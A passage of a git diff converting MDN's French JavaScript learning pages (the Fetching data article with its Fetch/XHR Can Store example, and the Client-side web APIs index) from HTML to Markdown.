serveur). -<p>Notez que vous pouvez également choisir de stocker votre promesse dans une variable, et de chaîner le {{jsxref("Promise.then",".then()")}} sur cette variable. L'exemple suivant fait la même chose que le précédent :</p> +Notez que vous pouvez également choisir de stocker votre promesse dans une variable, et de chaîner le {{jsxref("Promise.then",".then()")}} sur cette variable. L'exemple suivant fait la même chose que le précédent : -<pre class="brush: js">var myFetch = fetch(url); +```js +var myFetch = fetch(url); myFetch.then(function(response) { //... -});</pre> +}); +``` -<p>Parce que la méthode <code>fetch()</code> retourne une promesse qui résout une réponse HTTP, la fonction définie à l'intérieur du <code>.then()</code> reçoit la réponse en tant que paramètre. Vous pouvez appeler le paramètre comme vous souhaitez — l'exemple ci-dessous fait toujours la même chose :</p> +Parce que la méthode `fetch()` retourne une promesse qui résout une réponse HTTP, la fonction définie à l'intérieur du `.then()` reçoit la réponse en tant que paramètre. Vous pouvez appeler le paramètre comme vous souhaitez — l'exemple ci-dessous fait toujours la même chose : -<pre class="brush: js">fetch(url).then(function(dogBiscuits) { +```js +fetch(url).then(function(dogBiscuits) { //... -});</pre> +}); +``` -<p>Mais il est plus logique de donner un nom de paramètre qui décrit son contenu !</p> +Mais il est plus logique de donner un nom de paramètre qui décrit son contenu ! -<h4 id="Promesse_2">Promesse 2</h4> +#### Promesse 2 -<p>Voyons maintenant la fonction appelé dans <code>.then()</code>:</p> +Voyons maintenant la fonction appelé dans `.then()`: -<pre class="brush: js">function(response) { +```js +function(response) { response.text().then(function(text) { poemDisplay.textContent = text; }); -}</pre> +} +``` -<p>L'objet <code>response</code> a une méthode {{domxref("Body.text","text()")}}, qui convertit les données brutes contenues dans la réponse en texte brut — c'est le format que nous voulons. Cette méthode retourne également une promesse, qui se résout lorsque la réponse est convertie en texte, nous utilisons donc un deuxième {{jsxref("Promise.then",".then()")}} pour cette deuxième promesse.</p> +L'objet `response` a une méthode {{domxref("Body.text","text()")}}, qui convertit les données brutes contenues dans la réponse en texte brut — c'est le format que nous voulons. Cette méthode retourne également une promesse, qui se résout lorsque la réponse est convertie en texte, nous utilisons donc un deuxième {{jsxref("Promise.then",".then()")}} pour cette deuxième promesse. -<p>À l'intérieur de ce dernier <code>.then()</code>, nous définissons une nouvelle fonction, qui décide de ce que nous faisons avec le texte récupéré. Nous nous contentons de définir la propriété <code><a href="/fr/docs/Web/API/Node/textContent">textContent</a></code> de l'élément {{htmlelement("pre")}} à la valeur du texte.</p> +À l'intérieur de ce dernier `.then()`, nous définissons une nouvelle fonction, qui décide de ce que nous faisons avec le texte récupéré. Nous nous contentons de définir la propriété [`textContent`](/fr/docs/Web/API/Node/textContent) de l'élément {{htmlelement("pre")}} à la valeur du texte. -<h4 id="Chaîner_les_then">Chaîner les then()</h4> +#### Chaîner les then() -<p>Notez que le résultat de la fonction appelée par le <code>.then()</code> est également retourné par ce dernier, nous pouvons donc mettre les <code>.then()</code> bout à bout, en passant le résultat du bloc précédent au prochain.</p> +Notez que le résultat de la fonction appelée par le `.then()` est également retourné par ce dernier, nous pouvons donc mettre les `.then()` bout à bout, en passant le résultat du bloc précédent au prochain. -<p>Ainsi, le bloc de code suivant fait la même chose que notre exemple original, mais écrit dans un style différent :</p> +Ainsi, le bloc de code suivant fait la même chose que notre exemple original, mais écrit dans un style différent : -<pre class="brush: js">fetch(url).then(function(response) { +```js +fetch(url).then(function(response) { return response.text() }).then(function(text) { poemDisplay.textContent = text; -});</pre> +}); +``` -<p>Beaucoup de développeurs préfèrent ce style, plus "plat" : il évite de définir des fonctions à l'intérieur de fonctions et est plus facile à lire lorsqu'il y a beaucoup de promesses qui s'enchaînent. La seule différence ici est que nous avons une instruction <code><a href="/fr/Apprendre/JavaScript/Building_blocks/Return_values">return</a></code> pour retourner <code>response.text()</code>, et ce résultat est passé au prochain <code>.then()</code>.</p> +Beaucoup de développeurs préfèrent ce style, plus "plat" : il évite de définir des fonctions à l'intérieur de fonctions et est plus facile à lire lorsqu'il y a beaucoup de promesses qui s'enchaînent. La seule différence ici est que nous avons une instruction [`return`](/fr/Apprendre/JavaScript/Building_blocks/Return_values) pour retourner `response.text()`, et ce résultat est passé au prochain `.then()`. -<h3 id="Quel_mécanisme_devriez-vous_utiliser">Quel mécanisme devriez-vous utiliser?</h3> +### Quel mécanisme devriez-vous utiliser? -<p>Cela dépend du projet sur lequel vous travaillez. XHR existe depuis longtemps maintenant et bénéficie d'un très bon support sur les différents navigateurs. Fetch et les promesses, en revanche, sont un ajout plus récent à la plateforme web, bien qu'ils soient pris en charge par la plupart des navigateurs, Internet Explorer et Safari font exception.</p> +Cela dépend du projet sur lequel vous travaillez. XHR existe depuis longtemps maintenant et bénéficie d'un très bon support sur les différents navigateurs. Fetch et les promesses, en revanche, sont un ajout plus récent à la plateforme web, bien qu'ils soient pris en charge par la plupart des navigateurs, Internet Explorer et Safari font exception. -<p>Si vous voulez un support des anciens navigateurs, alors XHR est probablement la solution préférable. En revanche, si vous travaillez sur un projet plus progressif, et que vous n'êtes pas tant préoccupé par les anciens navigateurs, alors Fetch peut être un bon choix.</p> +Si vous voulez un support des anciens navigateurs, alors XHR est probablement la solution préférable. En revanche, si vous travaillez sur un projet plus progressif, et que vous n'êtes pas tant préoccupé par les anciens navigateurs, alors Fetch peut être un bon choix. -<p>Vous devriez apprendre les deux alternatives — Fetch deviendra plus populaire au fur et à mesure que l'utilisation d'Internet Explorer diminue (IE n'est plus développé, en faveur du nouveau navigateur de Microsoft, Edge), mais vous allez avoir besoin de XHR pendant un moment encore.</p> +Vous devriez apprendre les deux alternatives — Fetch deviendra plus populaire au fur et à mesure que l'utilisation d'Internet Explorer diminue (IE n'est plus développé, en faveur du nouveau navigateur de Microsoft, Edge), mais vous allez avoir besoin de XHR pendant un moment encore. -<h2 id="Un_exemple_plus_complexe">Un exemple plus complexe</h2> +## Un exemple plus complexe -<p>Pour clore l'article, nous allons regarder un exemple un peu plus complexe, qui montre des utilisations plus intéressantes de Fetch. Nous avons créé un site d'exemple appelé The Can Store (le magasin de conserves) — c'est un supermarché fictif qui ne vend que des boites de conserves. Vous pouvez trouver cet <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">exemple en direct sur GitHub</a>, et <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/fetching-data/can-store">voir le code source</a>.</p> +Pour clore l'article, nous allons regarder un exemple un peu plus complexe, qui montre des utilisations plus intéressantes de Fetch. Nous avons créé un site d'exemple appelé The Can Store (le magasin de conserves) — c'est un supermarché fictif qui ne vend que des boites de conserves. Vous pouvez trouver cet [exemple en direct sur GitHub](https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/), et [voir le code source](https://github.com/mdn/learning-area/tree/master/javascript/apis/fetching-data/can-store). -<p><img alt="A fake ecommerce site showing search options in the left hand column, and product search results in the right hand column." src="can-store.png"></p> + -<p>Par défaut, le site affiche tous les produits ; mais vous pouvez utiliser le formulaire dans la colonne de gauche pour les filtrer par catégorie, ou chercher un terme, ou les deux.</p> +Par défaut, le site affiche tous les produits ; mais vous pouvez utiliser le formulaire dans la colonne de gauche pour les filtrer par catégorie, ou chercher un terme, ou les deux. -<p>Il y a du code plutôt complexe pour traiter le filtrage des produits par catégorie et par terme de recherche, manipulant les chaînes de caractères pour afficher les données correctement dans l'interface utilisateur, etc. Nous n'allons pas en discuter dans cet article, mais vous pouvez trouver des commentaires très complets dans le code (voir <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-script.js">can-script.js</a>). Nous allons expliquer le code Fetch.</p> +Il y a du code plutôt complexe pour traiter le filtrage des produits par catégorie et par terme de recherche, manipulant les chaînes de caractères pour afficher les données correctement dans l'interface utilisateur, etc. Nous n'allons pas en discuter dans cet article, mais vous pouvez trouver des commentaires très complets dans le code (voir [can-script.js](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-script.js)). Nous allons expliquer le code Fetch. -<h4 id="Premier_Fetch">Premier Fetch</h4> +#### Premier Fetch -<p>Le premier bloc qui utilise Fetch se trouve au début du JavaScript :</p> +Le premier bloc qui utilise Fetch se trouve au début du JavaScript : -<pre class="brush: js">fetch('products.json').then(function(response) { +```js +fetch('products.json').then(function(response) { if(response.ok) { response.json().then(function(json) { products = json; @@ -304,28 +319,28 @@ myFetch.then(function(response) { } else { console.log('Network request for products.json failed with response ' + response.status + ': ' + response.statusText); } -});</pre> +}); +``` -<p>Cela ressemble à ce que vous avons vu précédemment, sauf que la deuxième promesse est à l'intérieur d'une condition. Cette condition vérifie si la réponse retournée est un succès ou non — la propriété {{domxref("response.ok")}} contient un booléen qui vaut <code>true</code> si le statut de la réponse était OK (<a href="/fr/docs/Web/HTTP/Status/200">statut HTTP 200, "OK"</a>), ou <code>false</code> sinon.</p> +Cela ressemble à ce que vous avons vu précédemment, sauf que la deuxième promesse est à l'intérieur d'une condition. Cette condition vérifie si la réponse retournée est un succès ou non — la propriété {{domxref("response.ok")}} contient un booléen qui vaut `true` si le statut de la réponse était OK ([statut HTTP 200, "OK"](/fr/docs/Web/HTTP/Status/200)), ou `false` sinon. -<p>Si la réponse était un succès, nous déclenchons la deuxième promesse — cette fois-ci en utilisant {{domxref("Body.json","json()")}} et non {{domxref("Body.text","text()")}}, puisque nous voulons récupérer la réponse sous forme de données structurées JSON et non de texte brut.</p> +Si la réponse était un succès, nous déclenchons la deuxième promesse — cette fois-ci en utilisant {{domxref("Body.json","json()")}} et non {{domxref("Body.text","text()")}}, puisque nous voulons récupérer la réponse sous forme de données structurées JSON et non de texte brut. -<p>Si la réponse n'est pas un succès, nous affichons une erreur dans la console indiquant que la requête réseau a échoué, avec le statut et le message obtenus (contenus dans les propriétés {{domxref("response.status")}} et {{domxref("response.statusText")}} respectivement). Bien sûr, un véritable site web traiterait cette erreur plus gracieusement, en affichant un message à l'écran en offrant peut-être des options pour remédier à la situation.</p> +Si la réponse n'est pas un succès, nous affichons une erreur dans la console indiquant que la requête réseau a échoué, avec le statut et le message obtenus (contenus dans les propriétés {{domxref("response.status")}} et {{domxref("response.statusText")}} respectivement). Bien sûr, un véritable site web traiterait cette erreur plus gracieusement, en affichant un message à l'écran en offrant peut-être des options pour remédier à la situation. -<p>Vous pouvez tester le cas d'échec vous-même :</p> +Vous pouvez tester le cas d'échec vous-même : -<ol> - <li>Faites une copie locale des fichiers d'exemple (téléchargez et dézippez le <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">fichier ZIP can-store</a>)</li> - <li>Éxecutez le code via un serveur web (comme vu précédemment dans {{anch("Serving your example from a server", "Servir votre exemple depuis un serveur")}})</li> - <li>Modifiez le chemin du fichier à récupérer, mettez un nom de fichier qui n'existe pas, comme 'produc.json'.</li> - <li>Maintenant, chargez le fichier index dans votre navigateur (via <code>localhost:8000</code>) et regardez dans la console de développement. Vous verrez un message parmi les lignes "Network request for products.json failed with response 404: File not found" (la requête réseau pour products.json a échoué avec la réponse 404: Fichier non trouvé).</li> -</ol> +1. Faites une copie locale des fichiers d'exemple (téléchargez et dézippez le [fichier ZIP can-store](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true)) +2. Éxecutez le code via un serveur web (comme vu précédemment dans {{anch("Serving your example from a server", "Servir votre exemple depuis un serveur")}}) +3. Modifiez le chemin du fichier à récupérer, mettez un nom de fichier qui n'existe pas, comme 'produc.json'. +4. Maintenant, chargez le fichier index dans votre navigateur (via `localhost:8000`) et regardez dans la console de développement. Vous verrez un message parmi les lignes "Network request for products.json failed with response 404: File not found" (la requête réseau pour products.json a échoué avec la réponse 404: Fichier non trouvé). -<h4 id="Deuxième_Fetch">Deuxième Fetch</h4> +#### Deuxième Fetch -<p>Le deuxième bloc Fetch se trouve dans la fonction <code>fetchBlob()</code>:</p> +Le deuxième bloc Fetch se trouve dans la fonction `fetchBlob()`: -<pre class="brush: js">fetch(url).then(function(response) { +```js +fetch(url).then(function(response) { if(response.ok) { response.blob().then(function(blob) { objectURL = URL.createObjectURL(blob); @@ -334,65 +349,54 @@ myFetch.then(function(response) { } else { console.log('Network request for "' + product.name + '" image failed with response ' + response.status + ': ' + response.statusText); } -});</pre> +}); +``` + +Cela fonctionne à peu près de la même manière que le précédent, sauf qu'au lieu d'utiliser {{domxref("Body.json","json()")}}, on utilise {{domxref("Body.blob","blob()")}} — en l'occurence, nous voulons récupérer la réponse sous la forme d'un fichier image, et le format de données que nous utilisons est [Blob](/fr/docs/Web/API/Blob) — ce terme est une abbréviation de "Binary Large Object" (large objet binaire) et peut être utilisé pour représenter de gros objets fichier — tels que des fichiers images ou vidéo. -<p>Cela fonctionne à peu près de la même manière que le précédent, sauf qu'au lieu d'utiliser {{domxref("Body.json","json()")}}, on utilise {{domxref("Body.blob","blob()")}} — en l'occurence, nous voulons récupérer la réponse sous la forme d'un fichier image, et le format de données que nous utilisons est <a href="/fr/docs/Web/API/Blob">Blob</a> — ce terme est une abbréviation de "Binary Large Object" (large objet binaire) et peut être utilisé pour représenter de gros objets fichier — tels que des fichiers images ou vidéo.</p> +Une fois que nous avons reçu notre blob avec succès, nous créons un objet URL, en utilisant {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Cela renvoie une URL interne temporaire qui pointe vers un blob en mémoire dans le navigateur. Cet objet n'est pas très lisible, mais vous pouvez voir à quoi il ressemble en ouvrant l'application Can Store, Ctrl + Clic droit sur l'image, et sélectionner l'option "Afficher l'image" (peut légèrement varier selon le navigateur que vous utilisez). L'URL créée sera visible à l'intérieur de la barre d'adresse et devrait ressembler à quelque chose comme ça : -<p>Une fois que nous avons reçu notre blob avec succès, nous créons un objet URL, en utilisant {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Cela renvoie une URL interne temporaire qui pointe vers un blob en mémoire dans le navigateur. Cet objet n'est pas très lisible, mais vous pouvez voir à quoi il ressemble en ouvrant l'application Can Store, Ctrl + Clic droit sur l'image, et sélectionner l'option "Afficher l'image" (peut légèrement varier selon le navigateur que vous utilisez). L'URL créée sera visible à l'intérieur de la barre d'adresse et devrait ressembler à quelque chose comme ça :</p> + blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4 -<pre>blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4</pre> +### Challenge : une version XHR de Can Store -<h3 id="Challenge_une_version_XHR_de_Can_Store">Challenge : une version XHR de Can Store</h3> +Comme exercice pratique, nous aimerions que vous essayiez de convertir la version Fetch de l'application en une version XHR. Faites une [copie du fichier ZIP](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true) et essayiez de modifier le JavaScript en conséquence. -<p>Comme exercice pratique, nous aimerions que vous essayiez de convertir la version Fetch de l'application en une version XHR. Faites une <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">copie du fichier ZIP</a> et essayiez de modifier le JavaScript en conséquence.</p> +Quelques conseils qui pourraient s'avérer utiles : -<p>Quelques conseils qui pourraient s'avérer utiles :</p> +- Vous pourriez trouver la référence {{domxref("XMLHttpRequest")}} utile. +- Vous allez devoir utiliser le même modèle que vous avez vu plus tôt dans l'exemple [XHR-basic.html](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html). +- Vous devrez ajouter la gestion des erreurs que nous vous avons montré dans la version Fetch de Can Store : -<ul> - <li>Vous pourriez trouver la référence {{domxref("XMLHttpRequest")}} utile.</li> - <li>Vous allez devoir utiliser le même modèle que vous avez vu plus tôt dans l'exemple <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">XHR-basic.html</a>.</li> - <li>Vous devrez ajouter la gestion des erreurs que nous vous avons montré dans la version Fetch de Can Store : - <ul> - <li>La réponse se situe dans <code>request.response</code> une fois que l'événement <code>load</code> a été déclenché et non dans une promesse.</li> - <li>Le meilleur équivalent à <code>response.ok</code> en XHR est de vérifier si {{domxref("XMLHttpRequest.status","request.status")}} vaut 200 ou si {{domxref("XMLHttpRequest.readyState","request.readyState")}} est égal à 4.</li> - <li>Les propriétés permettant d'obtenir le status et le message en cas d'erreur sont toujours <code>status</code> et <code>statusText</code> mais elles se situent sur l'objet <code>request</code> (XHR) et non sur l'objet <code>response</code>.</li> - </ul> - </li> -</ul> + - La réponse se situe dans `request.response` une fois que l'événement `load` a été déclenché et non dans une promesse. + - Le meilleur équivalent à `response.ok` en XHR est de vérifier si {{domxref("XMLHttpRequest.status","request.status")}} vaut 200 ou si {{domxref("XMLHttpRequest.readyState","request.readyState")}} est égal à 4. + - Les propriétés permettant d'obtenir le status et le message en cas d'erreur sont toujours `status` et `statusText` mais elles se situent sur l'objet `request` (XHR) et non sur l'objet `response`. -<div class="note"> -<p><strong>Note :</strong> Si vous avez des difficultés à le faire, vous pouvez comparer votre code à la version finale sur GitHub (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store-xhr/can-script.js">voir le code source</a>, ou <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store-xhr/">voir en direct</a>).</p> -</div> +> **Note :** Si vous avez des difficultés à le faire, vous pouvez comparer votre code à la version finale sur GitHub ([voir le code source](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store-xhr/can-script.js), ou [voir en direct](https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store-xhr/)). -<h2 id="Sommaire">Sommaire</h2> +## Sommaire -<p>Voilà qui clôt notre article sur la récupération de données à partir du serveur. À ce stade, vous devriez savoir comment travailler avec XHR et Fetch.</p> +Voilà qui clôt notre article sur la récupération de données à partir du serveur. À ce stade, vous devriez savoir comment travailler avec XHR et Fetch. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<p>Il y a beaucoup de sujets abordés dans cet article, dont nous n'avons qu'égratigné la surface. Pour plus de détails sur ces sujets, essayez les articles suivants:</p> +Il y a beaucoup de sujets abordés dans cet article, dont nous n'avons qu'égratigné la surface. Pour plus de détails sur ces sujets, essayez les articles suivants: -<ul> - <li><a href="/fr/docs/Web/Guide/AJAX/Premiers_pas">Ajax — Premiers pas</a></li> - <li><a href="/fr/docs/Web/API/Fetch_API/Using_Fetch">Utiliser Fetch</a></li> - <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise">Promesses</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/JSON">Manipuler des données JSON</a></li> - <li><a href="/fr/docs/Web/HTTP/Aperçu">Un aperçu de HTTP</a></li> - <li><a href="/fr/docs/Learn/Server-side">Programmation de sites web, côté serveur</a></li> -</ul> +- [Ajax — Premiers pas](/fr/docs/Web/Guide/AJAX/Premiers_pas) +- [Utiliser Fetch](/fr/docs/Web/API/Fetch_API/Using_Fetch) +- [Promesses](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) +- [Manipuler des données JSON](/fr/docs/Learn/JavaScript/Objects/JSON) +- [Un aperçu de HTTP](/fr/docs/Web/HTTP/Aperçu) +- [Programmation de sites web, côté serveur](/fr/docs/Learn/Server-side) -<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> +{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}} -<div> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction">Introduction aux API du Web</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipuler des documents</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data">Récupérer des données du serveur</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs">APIs tierces</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">APIs vidéo et audio</a></li> - <li><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a></li> -</ul> -</div> +- [Introduction aux API du Web](/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction) +- [Manipuler des documents](/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents) +- [Récupérer des données du serveur](/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data) +- [APIs tierces](/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs) +- [Dessiner des éléments graphiques](/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics) +- [APIs vidéo et audio](/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs) +- [Stockage côté client](/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage) diff --git a/files/fr/learn/javascript/client-side_web_apis/index.md b/files/fr/learn/javascript/client-side_web_apis/index.md index b7ce9e7171..82e3f87488 100644 --- a/files/fr/learn/javascript/client-side_web_apis/index.md +++ b/files/fr/learn/javascript/client-side_web_apis/index.md @@ -18,35 +18,31 @@ tags: translation_of: Learn/JavaScript/Client-side_web_APIs original_slug: Apprendre/JavaScript/Client-side_web_APIs --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Lorsque vous écrivez du JavaScript côté client pour des sites Web ou des applications, vous n'irez pas très loin avant d'utiliser des API - des interfaces pour manipuler différents aspects du navigateur et du système d'exploitation sur lesquels le site opère, ou même des données provenant d'autres sites web ou services. Dans ce module, nous allons explorer ce que sont les API, et comment utiliser certaines API les plus courantes que vous rencontrerez souvent dans votre travail de développement.</p> +Lorsque vous écrivez du JavaScript côté client pour des sites Web ou des applications, vous n'irez pas très loin avant d'utiliser des API - des interfaces pour manipuler différents aspects du navigateur et du système d'exploitation sur lesquels le site opère, ou même des données provenant d'autres sites web ou services. Dans ce module, nous allons explorer ce que sont les API, et comment utiliser certaines API les plus courantes que vous rencontrerez souvent dans votre travail de développement. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Pour tirer le meilleur parti de ce module, vous devriez avoir parcouru les précédents modules JavaScript de la série (<a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a>, <a href="/fr/docs/Learn/JavaScript/Building_blocks">Building blocks</a> et <a href="/fr/docs/Learn/JavaScript/Objects">objets JavaScript</a>). Ces modules impliquent tout de même un bon nombre d'utilisations simples de l'API, car il est difficile d'écrire des exemples JavaScript côté client faisant quelque chose d'utile sans eux! Ici, nous passons à un niveau supérieur, en supposant que vous connaissiez le langage JavaScript de base et explorant les APIs Web courantes de manière un peu plus détaillée.</p> +Pour tirer le meilleur parti de ce module, vous devriez avoir parcouru les précédents modules JavaScript de la série ([Premiers pas](/fr/docs/Learn/JavaScript/First_steps), [Building blocks](/fr/docs/Learn/JavaScript/Building_blocks) et [objets JavaScript](/fr/docs/Learn/JavaScript/Objects)). Ces modules impliquent tout de même un bon nombre d'utilisations simples de l'API, car il est difficile d'écrire des exemples JavaScript côté client faisant quelque chose d'utile sans eux! Ici, nous passons à un niveau supérieur, en supposant que vous connaissiez le langage JavaScript de base et explorant les APIs Web courantes de manière un peu plus détaillée. -<p>Une connaissance basique de <a href="/fr/docs/Learn/HTML">HTML</a> et <a href="/fr/docs/Learn/CSS">CSS</a> serait aussi utile.</p> +Une connaissance basique de [HTML](/fr/docs/Learn/HTML) et [CSS](/fr/docs/Learn/CSS) serait aussi utile. -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur un ordinateur/tablette/autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de code en ligne tel que <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p> -</div> +> **Note :** Si vous travaillez sur un ordinateur/tablette/autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de code en ligne tel que [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). -<h2 id="Guides">Guides</h2> +## Guides -<dl> - <dt><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction">Introduction aux API du Web</a></dt> - <dd>Tout d'abord, nous survolerons du concept d'API — qu'est-ce que c'est, comment ça fonctionne, comment les utiliser dans votre code, et comment sont-elles structurées. Nous verrons également quelles sont les principales API et leur utilisation.</dd> - <dt><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipuler des documents</a></dt> - <dd>Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet {{domxref("Document")}}. Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement.</dd> - <dt><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data">Récupérer des données du serveur</a></dt> - <dd>Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail, a en vérité eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que {{domxref("XMLHttpRequest")}} et l'<a href="/fr/docs/Web/API/Fetch_API">API Fetch</a>.</dd> - <dt><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs">APIs tierces</a></dt> - <dd>Les APIs que nous avons vu jusqu'à présent sont intégrées dans le navigateur, mais ce n'est pas le cas de toutes. De nombreux gros sites web tels que Google Maps, Twitter, Facebook, PayPal, etc, fournissent des APIs permettant aux développeurs d'utiliser leurs données (par exemple pour afficher un flux twitter sur un blog) ou service (par exemple afficher une carte Google Maps sur un site, ou utiliser Facebook pour permettre aux utilisateurs de se connecter). Cet article compare les APIs du navigateur aux APIs tierces et montre quelques utilisations typiques de ces dernières.</dd> - <dt><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics">Dessiner des éléments graphiques</a></dt> - <dd>Le navigateur contient des outils de programmation graphique très puissants, du langage <a href="/fr/docs/Web/SVG">SVG</a> (Scalable Vector Graphics), aux APIs pour dessiner sur les éléments HTML {{htmlelement("canvas")}}, (voir <a href="/fr/docs/Web/HTML/Canvas">API Canvas</a> et <a href="/fr/docs/Web/API/WebGL_API">WebGL</a>). Cet article fournit une introduction à canvas et introduit d'autres ressources pour vous permettre d'en apprendre plus.</dd> - <dt><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">APIs vidéo et audio</a></dt> - <dd>HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc<em>. </em>Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés.</dd> - <dt><a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Client-side_storage">Stockage côté client</a></dt> - <dd>Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage long-terme, de sauvegarder des documents ou sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur, et plus encore. Cet article explique les fondamentaux pour y parvenir.</dd> -</dl> +- [Introduction aux API du Web](/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction) + - : Tout d'abord, nous survolerons du concept d'API — qu'est-ce que c'est, comment ça fonctionne, comment les utiliser dans votre code, et comment sont-elles structurées. Nous verrons également quelles sont les principales API et leur utilisation. +- [Manipuler des documents](/fr/Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents) + - : Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet {{domxref("Document")}}. Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement. +- [Récupérer des données du serveur](/fr/Apprendre/JavaScript/Client-side_web_APIs/Fetching_data) + - : Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail, a en vérité eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que {{domxref("XMLHttpRequest")}} et l'[API Fetch](/fr/docs/Web/API/Fetch_API). +- [APIs tierces](/fr/Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs) + - : Les APIs que nous avons vu jusqu'à présent sont intégrées dans le navigateur, mais ce n'est pas le cas de toutes. De nombreux gros sites web tels que Google Maps, Twitter, Facebook, PayPal, etc, fournissent des APIs permettant aux développeurs d'utiliser leurs données (par exemple pour afficher un flux twitter sur un blog) ou service (par exemple afficher une carte Google Maps sur un site, ou utiliser Facebook pour permettre aux utilisateurs de se connecter). Cet article compare les APIs du navigateur aux APIs tierces et montre quelques utilisations typiques de ces dernières. +- [Dessiner des éléments graphiques](/fr/Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics) + - : Le navigateur contient des outils de programmation graphique très puissants, du langage 